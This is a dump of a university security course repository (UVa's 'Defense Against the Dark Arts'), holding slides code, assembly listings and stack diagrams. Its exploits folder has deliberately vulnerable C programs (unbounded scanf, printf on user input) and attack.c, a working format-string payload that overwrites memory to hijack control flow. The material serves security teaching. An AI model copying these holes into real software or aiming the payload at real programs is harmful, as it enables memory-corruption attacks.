This repository is for the Defense Against the Dark Arts (CS 4630) course at the University of Virginia. It is a computer science elective taken in the 3rd or 4th year.
14 | The "md" links will work if viewed on github.com; the other links work if the repo is cloned locally.
17 | Copyright (c) 2017 by Aaron Bloomfield.
27 |
28 |
29 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | Defense Against the Dark Arts
2 | =============================
3 |
4 | This repository is for the Defense Against the Dark Arts (CS 4630)
5 | course at the University of Virginia. It is a computer science
6 | elective taken in the 3rd or 4th year.
7 |
8 | The course was originally created by
9 | [Jack Davidson](http://www.cs.virginia.edu/~jwd/) in 2006 (see a
10 | [SIGCSE publication on the course](http://dl.acm.org/citation.cfm?id=1352245)).
11 | The material in this repository was taken, with permission, from the
12 | slides created by Davidson and extended by
13 | [Charles Reiss](https://www.cs.virginia.edu/~cr4bd/) and myself,
14 | [Aaron Bloomfield](https://www.cs.virginia.edu/~asb/).
15 |
16 |
17 | Repository Contents
18 | -------------------
19 |
20 | The "md" links will work if viewed on github.com; the other links work if the repo is cloned locally.
21 |
22 | - [Slides](slides/index.html) ([md](slides/index.md))
23 | - [Docs](docs/index.html) ([md](docs/index.md))
24 | - [Homeworks](hws/index.html) ([md](hws/index.md))
25 | - [UVa specific material](uva/index.html) ([md](uva/index.md))
26 |
27 | Entering `make` in the cloned repo directory will convert all the .md files to .html files for local viewing (requires [pandoc](http://johnmacfarlane.net/pandoc/)).
28 |
29 |
30 |
31 |
32 | License
33 | -------
34 |
35 | The material in this repository is released under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) (CC BY-SA).
36 |
37 | Copyright (c) 2017 by Aaron Bloomfield.
38 |
39 |
40 | [24]: http://slp.cs.virginia.edu/2012-2013.php#cnemv
41 | [28]: http://www.cavalierdaily.com/article/2013/10/a-different-kind-of-classroom_1024
42 | [29]: http://www.cavalierdaily.com/
43 | [30]: http://www.earlessrabbit.com/bronze/ttff-crowd-funded-pitch-night/http://www.earlessrabbit.com/bronze/ttff-crowd-funded-pitch-night/
44 | [31]: http://www.c-ville.com/Article/News_Extra/Local_catering_business_wins_1K_at_crowd_source_event/
45 | [32]: http://www.c-ville.com
46 | [33]: http://news.virginia.edu/content/win-win-computer-science-students-hone-skills-working-local-non-profits
47 | [34]: http://news.virginia.edu/
48 | [35]: https://uvacsnews.wordpress.com/2015/05/22/uva-engineering-students-complete-15-software-development-projects-for-charlottesville-area-nonprofits/
49 | [36]: http://www.cs.virginia.edu/news/index.html
50 |
--------------------------------------------------------------------------------
/slides/code/05-re-and-lex/a.out:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/code/05-re-and-lex/a.out
--------------------------------------------------------------------------------
/slides/code/05-re-and-lex/uva-userid.l:
--------------------------------------------------------------------------------
1 | USERID ^[a-z][a-z][a-z]?([0-9][a-z][a-z]?)?$
2 | %%
3 | {USERID} { printf("Found a UVa userid: %s\n",yytext); }
4 | .|\n { /* ignore other input */ }
5 | %%
6 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/.gitignore:
--------------------------------------------------------------------------------
1 | overflow.exe
2 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/1000-as.txt:
--------------------------------------------------------------------------------
1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/Makefile:
--------------------------------------------------------------------------------
1 | FLAGS = -m64 -fno-stack-protector -Wno-unused-result -fomit-frame-pointer -O
2 | full:
3 | gcc $(FLAGS) -ggdb -o overflow.exe overflow.c
4 | gcc $(FLAGS) -S -masm=intel -o overflow.s overflow.c
5 | source-highlight -d *.c *.s
6 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/overflow.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | void do_something_with(char *buffer) {
4 | printf ("%s", buffer);
5 | }
6 |
7 | void vulnerable() {
8 | char buffer[100];
9 |
10 | /* read string from stdin */
11 | scanf("%s", buffer);
12 |
13 | do_something_with(buffer);
14 | }
15 |
16 | int main() {
17 | vulnerable();
18 | return 0;
19 | }
20 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/overflow.c.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 | overflow.c
10 |
11 |
12 | #include <stdio.h>
13 |
14 | void do_something_with ( char * buffer) {
15 | printf ( "%s" , buffer);
16 | }
17 |
18 | void vulnerable () {
19 | char buffer[ 100 ];
20 |
21 | /* read string from stdin */
22 | scanf ( "%s" , buffer);
23 |
24 | do_something_with ( buffer);
25 | }
26 |
27 | int main () {
28 | vulnerable ();
29 | return 0 ;
30 | }
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/overflow.s:
--------------------------------------------------------------------------------
1 | .file "overflow.c"
2 | .intel_syntax noprefix
3 | .section .rodata.str1.1,"aMS",@progbits,1
4 | .LC0:
5 | .string "%s"
6 | .text
7 | .globl do_something_with
8 | .type do_something_with, @function
9 | do_something_with:
10 | .LFB23:
11 | .cfi_startproc
12 | sub rsp, 8
13 | .cfi_def_cfa_offset 16
14 | mov rdx, rdi
15 | mov esi, OFFSET FLAT:.LC0
16 | mov edi, 1
17 | mov eax, 0
18 | call __printf_chk
19 | add rsp, 8
20 | .cfi_def_cfa_offset 8
21 | ret
22 | .cfi_endproc
23 | .LFE23:
24 | .size do_something_with, .-do_something_with
25 | .globl vulnerable
26 | .type vulnerable, @function
27 | vulnerable:
28 | .LFB24:
29 | .cfi_startproc
30 | sub rsp, 120
31 | .cfi_def_cfa_offset 128
32 | mov rsi, rsp
33 | mov edi, OFFSET FLAT:.LC0
34 | mov eax, 0
35 | call __isoc99_scanf
36 | mov rdi, rsp
37 | call do_something_with
38 | add rsp, 120
39 | .cfi_def_cfa_offset 8
40 | ret
41 | .cfi_endproc
42 | .LFE24:
43 | .size vulnerable, .-vulnerable
44 | .globl main
45 | .type main, @function
46 | main:
47 | .LFB25:
48 | .cfi_startproc
49 | sub rsp, 8
50 | .cfi_def_cfa_offset 16
51 | mov eax, 0
52 | call vulnerable
53 | mov eax, 0
54 | add rsp, 8
55 | .cfi_def_cfa_offset 8
56 | ret
57 | .cfi_endproc
58 | .LFE25:
59 | .size main, .-main
60 | .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609"
61 | .section .note.GNU-stack,"",@progbits
62 |
--------------------------------------------------------------------------------
/slides/code/buffer-overflows/overflow.s.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 | overflow.s
10 |
11 |
12 | .file "overflow.c"
13 | .intel_syntax noprefix
14 | .section .rodata.str1.1,"aMS" ,@progbits,1
15 | .LC0:
16 | .string "%s"
17 | .text
18 | .globl do_something_with
19 | .type do_something_with, @function
20 | do_something_with:
21 | .LFB23:
22 | .cfi_startproc
23 | sub rsp, 8
24 | .cfi_def_cfa_offset 16
25 | mov rdx, rdi
26 | mov esi, OFFSET FLAT:.LC0
27 | mov edi, 1
28 | mov eax, 0
29 | call __printf_chk
30 | add rsp, 8
31 | .cfi_def_cfa_offset 8
32 | ret
33 | .cfi_endproc
34 | .LFE23:
35 | .size do_something_with, .-do_something_with
36 | .globl vulnerable
37 | .type vulnerable, @function
38 | vulnerable:
39 | .LFB24:
40 | .cfi_startproc
41 | sub rsp, 120
42 | .cfi_def_cfa_offset 128
43 | mov rsi, rsp
44 | mov edi, OFFSET FLAT:.LC0
45 | mov eax, 0
46 | call __isoc99_scanf
47 | mov rdi, rsp
48 | call do_something_with
49 | add rsp, 120
50 | .cfi_def_cfa_offset 8
51 | ret
52 | .cfi_endproc
53 | .LFE24:
54 | .size vulnerable, .-vulnerable
55 | .globl main
56 | .type main, @function
57 | main:
58 | .LFB25:
59 | .cfi_startproc
60 | sub rsp, 8
61 | .cfi_def_cfa_offset 16
62 | mov eax, 0
63 | call vulnerable
64 | mov eax, 0
65 | add rsp, 8
66 | .cfi_def_cfa_offset 8
67 | ret
68 | .cfi_endproc
69 | .LFE25:
70 | .size main, .-main
71 | .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609"
72 | .section .note.GNU-stack,"" ,@progbits
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/slides/code/exploits/.gitignore:
--------------------------------------------------------------------------------
1 | *.exe
2 |
--------------------------------------------------------------------------------
/slides/code/exploits/Makefile:
--------------------------------------------------------------------------------
1 | build:
2 | gcc -g exploitable.c -o exploitable.exe
3 | gcc -g attack.c -o attack.exe
4 | gcc -g vuln.c -m32 -o vuln-32bit.exe
5 | gcc -g vuln.c -m64 -o vuln-64bit.exe
6 |
7 | run:
8 | ./attack.exe > attack.out
9 | setarch x86_64 -vRL ./exploitable.exe < attack.out
10 |
--------------------------------------------------------------------------------
/slides/code/exploits/attack.c:
--------------------------------------------------------------------------------
1 | #include
2 | int main() {
3 | /* advance through 5 registers, then 4 * 8 = 32 bytes down stack,
4 | * outputting 4195998 + 8 characters before using %ln to store a
5 | * long. Then pad that to 32 bytes of text. */
6 | fputs("%c%c%c%c%c%c%c%c%.4195998u%ln???", stdout);
7 | /* write pointer value, which will include \0s */
8 | void *ptr = (void*) 0x601038;
9 | fwrite(&ptr, 1, sizeof(ptr), stdout);
10 | fputs("\n", stdout);
11 | return 0;
12 | }
13 |
--------------------------------------------------------------------------------
/slides/code/exploits/attack.c.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 | attack.c
10 |
11 |
12 | #include <stdio.h>
13 | int main () {
14 | /* advance through 5 registers, then 4 * 8 = 32 bytes down stack,
15 | * outputting 4195998 + 8 characters before using %ln to store a
16 | * long. Then pad that to 32 bytes of text. */
17 | fputs ( "%c%c%c%c%c%c%c%c%.4195998u%ln???" , stdout);
18 | /* write pointer value, which will include \0s */
19 | void * ptr = ( void *) 0x601038 ;
20 | fwrite (& ptr, 1 , sizeof ( ptr), stdout);
21 | fputs ( " \n " , stdout);
22 | return 0 ;
23 | }
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/slides/code/exploits/exploitable.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int exploited() {
5 | printf("Got here!\n");
6 | exit(0);
7 | }
8 |
9 | int main(void) {
10 | char buffer[100];
11 | while (fgets(buffer, sizeof buffer, stdin)) {
12 | printf(buffer);
13 | }
14 | return 0;
15 | }
16 |
--------------------------------------------------------------------------------
/slides/code/exploits/exploitable.c.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 | exploitable.c
10 |
11 |
12 | #include <stdlib.h>
13 | #include <stdio.h>
14 |
15 | int exploited () {
16 | printf ( "Got here! \n " );
17 | exit ( 0 );
18 | }
19 |
20 | int main ( void ) {
21 | char buffer[ 100 ];
22 | while ( fgets ( buffer, sizeof buffer, stdin)) {
23 | printf ( buffer);
24 | }
25 | return 0 ;
26 | }
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/slides/code/exploits/vuln.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | // Run with: `setarch x86_64 -vLR ./a.out`
5 |
6 | // This will generate compilation warnings
7 |
8 | void vuln(char buffer[256]) {
9 | printf(buffer);
10 | /* Bad; good would be: printf("%s",buffer) */
11 | }
12 |
13 | int main(int argc, char *argv[]) {
14 | char buffer[256] = ""; /* allocate buffer */
15 | if (2 == argc) /* copy command line */
16 | strncpy(buffer, argv[1], 255);
17 | printf("%x\n",(unsigned int)&buffer[0]);
18 | vuln(buffer);
19 | return 0;
20 | }
21 |
--------------------------------------------------------------------------------
/slides/code/exploits/vuln.c.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
9 | vuln.c
10 |
11 |
12 | #include <stdio.h>
13 | #include <string.h>
14 |
15 | // Run with: `setarch x86_64 -vLR ./a.out`
16 |
17 | // This will generate compilation warnings
18 |
19 | void vuln ( char buffer[ 256 ]) {
20 | printf ( buffer);
21 | /* Bad; good would be: printf("%s",buffer) */
22 | }
23 |
24 | int main ( int argc, char * argv[]) {
25 | char buffer[ 256 ] = "" ; /* allocate buffer */
26 | if ( 2 == argc) /* copy command line */
27 | strncpy ( buffer, argv[ 1 ], 255 );
28 | printf ( "%x \n " ,( unsigned int )& buffer[ 0 ]);
29 | vuln ( buffer);
30 | return 0 ;
31 | }
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/01-intro/root-the-box-uva-hack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/01-intro/root-the-box-uva-hack.png
--------------------------------------------------------------------------------
/slides/images/01-intro/uva-chinese-hack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/01-intro/uva-chinese-hack.png
--------------------------------------------------------------------------------
/slides/images/01-intro/uva-phishing-hack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/01-intro/uva-phishing-hack.png
--------------------------------------------------------------------------------
/slides/images/03-vms/virt-what.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/03-vms/virt-what.png
--------------------------------------------------------------------------------
/slides/images/03-vms/vm-breakout.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/03-vms/vm-breakout.png
--------------------------------------------------------------------------------
/slides/images/04-assembly/Makefile:
--------------------------------------------------------------------------------
1 | main:
2 | dot -Tsvg -O x86-cc-stack.dot
3 | dot -Tsvg -O x86-cc-rsp.dot
4 | dot -Tsvg -O x86-cc-regs.dot
5 | dot -Tpng -O x86-cc-stack.dot
6 | dot -Tpng -O x86-cc-rsp.dot
7 | dot -Tpng -O x86-cc-regs.dot
8 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/pe-expansion.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/04-assembly/pe-expansion.png
--------------------------------------------------------------------------------
/slides/images/04-assembly/pe-linking.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/aaronbloomfield/dada/e00d693d3e395a99391eaf0413a77bb1668dcefe/slides/images/04-assembly/pe-linking.png
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-esp.dot.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | a
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot:
--------------------------------------------------------------------------------
1 | graph A {
2 | node [shape=record,fontname="Helvetica",width=2];
3 | rankdir=LR
4 | stack [label="rax: ?|rbx: ?|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: ?| ..."];
5 | }
6 | graph B {
7 | node [shape=record,fontname="Helvetica",width=2];
8 | rankdir=LR
9 | stack [label="rax: 1|rbx: ?|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: ?| ..."];
10 | }
11 | graph C {
12 | node [shape=record,fontname="Helvetica",width=2];
13 | rankdir=LR
14 | stack [label="rax: 1|rbx: ?|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: 123| ..."];
15 | }
16 | graph D {
17 | node [shape=record,fontname="Helvetica",width=2];
18 | rankdir=LR
19 | stack [label="rax: 1|rbx: 3|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: 123| ..."];
20 | }
21 | graph E {
22 | node [shape=record,fontname="Helvetica",width=2];
23 | rankdir=LR
24 | stack [label="rax: 126|rbx: 3|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: 123| ..."];
25 | }
26 | graph F {
27 | node [shape=record,fontname="Helvetica",width=2];
28 | rankdir=LR
29 | stack [label="rax: 126|rbx: 3|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: (saved)| ..."];
30 | }
31 | graph G {
32 | node [shape=record,fontname="Helvetica",width=2];
33 | rankdir=LR
34 | stack [label="rax: 126|rbx: (saved)|rcx: ?|rdx: 3 (param 3)|rdi: 1 (param 1)|rsi: 123 (param 2)|rbp: (saved)| ..."];
35 | }
36 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.2.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | B
11 |
12 |
13 | stack
14 |
15 | rax: 1
16 |
17 | rbx: ?
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: ?
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.3.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | C
11 |
12 |
13 | stack
14 |
15 | rax: 1
16 |
17 | rbx: ?
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: 123
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.4.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | D
11 |
12 |
13 | stack
14 |
15 | rax: 1
16 |
17 | rbx: 3
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: 123
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.5.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | E
11 |
12 |
13 | stack
14 |
15 | rax: 126
16 |
17 | rbx: 3
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: 123
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.6.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | F
11 |
12 |
13 | stack
14 |
15 | rax: 126
16 |
17 | rbx: 3
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: (saved)
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.7.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | G
11 |
12 |
13 | stack
14 |
15 | rax: 126
16 |
17 | rbx: (saved)
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: (saved)
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-regs.dot.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | A
11 |
12 |
13 | stack
14 |
15 | rax: ?
16 |
17 | rbx: ?
18 |
19 | rcx: ?
20 |
21 | rdx: 3 (param 3)
22 |
23 | rdi: 1 (param 1)
24 |
25 | rsi: 123 (param 2)
26 |
27 | rbp: ?
28 |
29 | ...
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot:
--------------------------------------------------------------------------------
1 | graph a {
2 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
3 | rankdir=LR
4 | stack [label="||||||||"];
5 | }
6 | graph b {
7 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
8 | rankdir=LR
9 | stack [label="← rsp||||||||"];
10 | }
11 | graph c {
12 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
13 | rankdir=LR
14 | stack [label="|← rsp|||||||"];
15 | }
16 | graph d {
17 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
18 | rankdir=LR
19 | stack [label="||← rsp||||||"];
20 | }
21 | graph d {
22 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
23 | rankdir=LR
24 | stack [label="|||← rsp|||||"];
25 | }
26 | graph e {
27 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
28 | rankdir=LR
29 | stack [label="||||← rsp||||"];
30 | }
31 | graph f {
32 | node [shape=record,fontname="Helvetica",color=white,width=1.45];
33 | rankdir=LR
34 | stack [label="|||||← rsp|||"];
35 | }
36 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.2.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | b
11 |
12 |
13 | stack
14 |
15 | ← rsp
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.3.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | c
11 |
12 |
13 | stack
14 |
15 |
16 |
17 | ← rsp
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.4.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | d
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 | ← rsp
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.5.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | d
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 | ← rsp
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.6.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | e
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 | ← rsp
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.7.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | f
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | ← rsp
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-rsp.dot.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | a
11 |
12 |
13 | stack
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot:
--------------------------------------------------------------------------------
1 | graph A {
2 | node [shape=record,fontname="Helvetica",width=2.15];
3 | rankdir=LR
4 | stack [label="||||||||"];
5 | }
6 | graph B {
7 | node [shape=record,fontname="Helvetica",width=2.15];
8 | rankdir=LR
9 | stack [label="value of rdi||||||||"];
10 | }
11 | graph C {
12 | node [shape=record,fontname="Helvetica",width=2.15];
13 | rankdir=LR
14 | stack [label="value of rdi|return address|||||||"];
15 | }
16 | graph D {
17 | node [shape=record,fontname="Helvetica",width=2.15];
18 | rankdir=LR
19 | stack [label="value of rdi|return address|local variable||||||"];
20 | }
21 | graph E {
22 | node [shape=record,fontname="Helvetica",width=2.15];
23 | rankdir=LR
24 | stack [label="value of rdi|return address|local variable|value of rbx|||||"];
25 | }
26 | graph F {
27 | node [shape=record,fontname="Helvetica",width=2.15];
28 | rankdir=LR
29 | stack [label="value of rdi|return address|local variable|value of rbx|value of rbp||||"];
30 | }
31 | graph G {
32 | node [shape=record,fontname="Helvetica",width=2.15];
33 | rankdir=LR
34 | stack [label="value of rdi|return address|local variable (3)|value of rbx|value of rbp||||"];
35 | }
36 | graph H {
37 | node [shape=record,fontname="Helvetica",width=2.15];
38 | rankdir=LR
39 | stack [label="value of rdi|return address|local variable (126)|value of rbx|value of rbp||||"];
40 | }
41 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.2.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | B
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.3.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | C
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.4.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | D
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 | local variable
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.5.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | E
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 | local variable
20 |
21 | value of rbx
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.6.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | F
11 |
12 |
13 | stack
14 |
15 | value of rdi
16 |
17 | return address
18 |
19 | local variable
20 |
21 | value of rbx
22 |
23 | value of rbp
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/slides/images/04-assembly/x86-cc-stack.dot.7.svg:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
9 |
10 | G
11 |
12 |
